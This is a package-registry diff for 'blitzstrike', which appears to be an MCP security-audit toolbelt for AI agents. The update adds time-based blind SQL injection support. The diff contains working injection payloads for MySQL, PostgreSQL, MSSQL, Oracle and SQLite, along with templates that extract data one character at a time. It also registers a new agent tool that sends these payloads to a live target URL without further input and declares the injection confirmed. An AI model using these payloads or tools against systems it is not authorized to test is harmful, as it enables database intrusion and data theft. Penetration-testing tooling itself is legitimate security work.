blitzstrike 2.4.150 → 2.4.152

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/CHANGELOG.md +25 -0
  2. package/dist/index.js +114 -11
  3. package/package.json +1 -1
package/CHANGELOG.md CHANGED
@@ -5,6 +5,31 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.152] — 2026-10-11
9
+
10
+ ### Added — autonomous blind SQLi confirmation (blind_sqli_confirm)
11
+
12
+ - New `blind_sqli_confirm` tool + `confirmBlindSqli()`: turns blind_oracle's
13
+ "SQL context" hint into "blind SQLi CONFIRMED" — sends the boolean oracle
14
+ (TRUE vs FALSE byte-count differential) and time oracle (TRUE-branch sleep vs
15
+ FALSE-branch instant) with payloads taken from the blind_sqli playbook (not
16
+ hand-written), and returns a deterministic verdict + evidence string.
17
+ 166 tools, 548/548 tests.
18
+
19
+ ## [2.4.151] — 2026-10-11
20
+
21
+ ### Added — time-based blind SQLi (per-DBMS, detection + extraction)
22
+
23
+ - `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
24
+ (mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
25
+ dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
26
+ randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
27
+ the mssql/oracle extraction templates.
28
+ - `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
29
+ flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
30
+ via a >2s timing differential when the boolean body is identical.
31
+ 547/547 tests.
32
+
8
33
  ## [2.4.150] — 2026-10-11
9
34
 
10
35
  ### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
package/dist/index.js CHANGED
@@ -59962,13 +59962,41 @@ function listWafBypassDbms() {
59962
59962
  // src/blind-sqli.ts
59963
59963
  var WAF_BYPASS = WAF_BYPASS_FLAT;
59964
59964
  function oracleConfirm(dbms) {
59965
- const time = dbms === "mssql" ? "WAITFOR DELAY '0:0:5'" : dbms === "postgresql" ? "pg_sleep(5)" : dbms === "oracle" ? "dbms_lock.sleep(5)" : dbms === "sqlite" ? "randomblob(500000000)" : "SLEEP(5)";
59965
+ const time = {
59966
+ mysql: {
59967
+ true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
59968
+ false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
59969
+ fn: "SLEEP(sec)"
59970
+ },
59971
+ postgresql: {
59972
+ true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
59973
+ false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
59974
+ fn: "pg_sleep(sec)"
59975
+ },
59976
+ mssql: {
59977
+ true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
59978
+ false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
59979
+ fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
59980
+ },
59981
+ oracle: {
59982
+ true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
59983
+ false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
59984
+ fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
59985
+ },
59986
+ sqlite: {
59987
+ true_: `' AND 1=1 AND randomblob(500000000)--`,
59988
+ false_: `' AND 1=2 AND randomblob(500000000)--`,
59989
+ fn: "randomblob(sec*100000000)"
59990
+ }
59991
+ };
59992
+ const t = time[dbms];
59966
59993
  return {
59967
59994
  boolean_true: `' AND 1=1-- -`,
59968
59995
  boolean_false: `' AND 1=2-- -`,
59969
- time_true: `' AND IF(1=1,${time},0)-- -`,
59970
- time_false: `' AND IF(1=2,${time},0)-- -`,
59971
- note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below."
59996
+ time_true: t.true_,
59997
+ time_false: t.false_,
59998
+ time_fn: t.fn,
59999
+ note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
59972
60000
  };
59973
60001
  }
59974
60002
  function playbook(dbms) {
@@ -60042,7 +60070,7 @@ function playbook(dbms) {
60042
60070
  oracle: oracleConfirm(dbms),
60043
60071
  extraction: {
60044
60072
  boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
60045
- time: `' AND IF(SUBSTRING(({query}),{pos},1)='{char}',1,0)=1 WAITFOR DELAY '0:0:{sec}'--`,
60073
+ time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
60046
60074
  method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
60047
60075
  },
60048
60076
  metadata: {
@@ -60066,7 +60094,7 @@ function playbook(dbms) {
60066
60094
  oracle: oracleConfirm(dbms),
60067
60095
  extraction: {
60068
60096
  boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
60069
- time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_lock.sleep({sec}) ELSE dbms_lock.sleep(0) END--`,
60097
+ time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
60070
60098
  method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
60071
60099
  },
60072
60100
  metadata: {
@@ -62300,6 +62328,15 @@ function sstiProbes(value) {
62300
62328
  function xssProbe(value, marker) {
62301
62329
  return { sink: "xss", name: "marker", payload: `${value}${marker}` };
62302
62330
  }
62331
+ function timeProbes(dbms, value) {
62332
+ const p = blindSqli(dbms);
62333
+ if (!p)
62334
+ return [];
62335
+ return [
62336
+ { sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
62337
+ { sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
62338
+ ];
62339
+ }
62303
62340
  function classifyBlindProbe(input) {
62304
62341
  const same = input.bodyHash === input.baselineHash;
62305
62342
  let signal = false;
@@ -62322,6 +62359,7 @@ function classifyBlindProbe(input) {
62322
62359
  async function blindOracle(baseUrl, param, value, opts = {}) {
62323
62360
  const base = baseUrl.replace(/\/+$/, "");
62324
62361
  const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
62362
+ const timeDbms = opts.timeDbms ?? "mysql";
62325
62363
  const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
62326
62364
  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
62327
62365
  const timeoutMs = opts.timeoutMs ?? 8000;
@@ -62345,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62345
62383
  probes.push(...sstiProbes(value));
62346
62384
  if (sinks.includes("xss"))
62347
62385
  probes.push(xssProbe(value, marker));
62386
+ if (sinks.includes("time"))
62387
+ probes.push(...timeProbes(timeDbms, value));
62348
62388
  const results = [];
62349
62389
  for (const p of probes) {
62350
62390
  const t0 = Date.now();
@@ -62364,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62364
62404
  body,
62365
62405
  marker
62366
62406
  });
62407
+ let signal = cls.signal;
62408
+ let reason = cls.reason;
62409
+ if (p.sink === "time") {
62410
+ if (p.name === "time_true" && timing > 2000) {
62411
+ signal = true;
62412
+ reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
62413
+ } else if (p.name === "time_false") {
62414
+ reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
62415
+ }
62416
+ }
62367
62417
  results.push({
62368
62418
  sink: p.sink,
62369
62419
  name: p.name,
@@ -62373,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62373
62423
  timing_ms: timing,
62374
62424
  body_hash: bodyHash.slice(0, 12),
62375
62425
  same_as_baseline: cls.same_as_baseline,
62376
- signal: cls.signal,
62377
- reason: cls.reason
62426
+ signal,
62427
+ reason
62378
62428
  });
62379
62429
  } catch {
62380
62430
  results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
@@ -62393,6 +62443,46 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62393
62443
  interpretation: "A signal means the parameter reaches that sink (evidence: the differential). Verify live before reporting — the oracle is a detection hint, not proof."
62394
62444
  };
62395
62445
  }
62446
+ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
62447
+ const base = baseUrl.replace(/\/+$/, "");
62448
+ const p = blindSqli(dbms);
62449
+ if (!p)
62450
+ return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
62451
+ const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike confirm)" };
62452
+ const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
62453
+ const fetchSize = async (payload) => {
62454
+ try {
62455
+ const r = await fetch(build(payload), { headers, redirect: "manual", signal: AbortSignal.timeout(9000) });
62456
+ const body = await r.text();
62457
+ return { ok: true, status: r.status, size: body.length };
62458
+ } catch (e) {
62459
+ return { ok: false, status: 0, size: 0 };
62460
+ }
62461
+ };
62462
+ const fetchTiming = async (payload) => {
62463
+ const t0 = Date.now();
62464
+ const r = await fetchSize(payload);
62465
+ return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
62466
+ };
62467
+ const bt = await fetchSize(`${value}${p.oracle.boolean_true}`);
62468
+ const bf = await fetchSize(`${value}${p.oracle.boolean_false}`);
62469
+ const boolDiff = bt.ok && bf.ok && bt.size !== bf.size;
62470
+ const tt = await fetchTiming(`${value}${p.oracle.time_true}`);
62471
+ const tf = await fetchTiming(`${value}${p.oracle.time_false}`);
62472
+ const timeDiff = tt.ms > 2000 && tf.ms < 2000;
62473
+ const confirmed = boolDiff || timeDiff;
62474
+ const channel = boolDiff && timeDiff ? "both" : boolDiff ? "boolean" : timeDiff ? "time" : null;
62475
+ return {
62476
+ dbms,
62477
+ param,
62478
+ value,
62479
+ boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff },
62480
+ time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
62481
+ confirmed,
62482
+ channel,
62483
+ evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed — not confirmed as blind SQLi (could be a WAF, a non-boolean sink, or a false arithmetic hint)."
62484
+ };
62485
+ }
62396
62486
 
62397
62487
  // src/param-precedence.ts
62398
62488
  function generatePrecedenceVariants(param, a, b) {
@@ -65063,16 +65153,29 @@ ${statusLine}` : statusLine },
65063
65153
  base_url: string2().describe("Target base URL"),
65064
65154
  param: string2().describe("Parameter name to probe (e.g. id)"),
65065
65155
  value: string2().describe("Baseline value for the parameter (e.g. 1)"),
65066
- sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
65156
+ sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
65157
+ time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
65067
65158
  }
65068
- }, async ({ base_url, param, value, sinks }) => {
65159
+ }, async ({ base_url, param, value, sinks, time_dbms }) => {
65069
65160
  let s;
65070
65161
  try {
65071
65162
  s = sinks ? JSON.parse(sinks) : undefined;
65072
65163
  } catch {
65073
65164
  return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
65074
65165
  }
65075
- return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
65166
+ return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
65167
+ });
65168
+ server.registerTool("blind_sqli_confirm", {
65169
+ title: "Blind SQLi confirmation (autonomous boolean + time oracle)",
65170
+ description: "CONFIRM: turn blindOracle's 'SQL context' HINT into 'blind SQLi CONFIRMED'. Sends the actual boolean oracle (TRUE vs FALSE byte-count differential) and time oracle (TRUE-branch sleep vs FALSE-branch instant) — payloads come from the blind_sqli playbook, NOT hand-written — and returns a deterministic verdict. confirmed=true only when a clean boolean or time differential is observed. Call AFTER blind_oracle flags SQL context.",
65171
+ inputSchema: {
65172
+ base_url: string2().describe("Target base URL"),
65173
+ param: string2().describe("Parameter name to confirm (e.g. id)"),
65174
+ value: string2().describe("Baseline value (e.g. 1)"),
65175
+ dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
65176
+ }
65177
+ }, async ({ base_url, param, value, dbms }) => {
65178
+ return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql")) }] };
65076
65179
  });
65077
65180
  server.registerTool("oob_start", {
65078
65181
  title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.150",
3
+ "version": "2.4.152",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {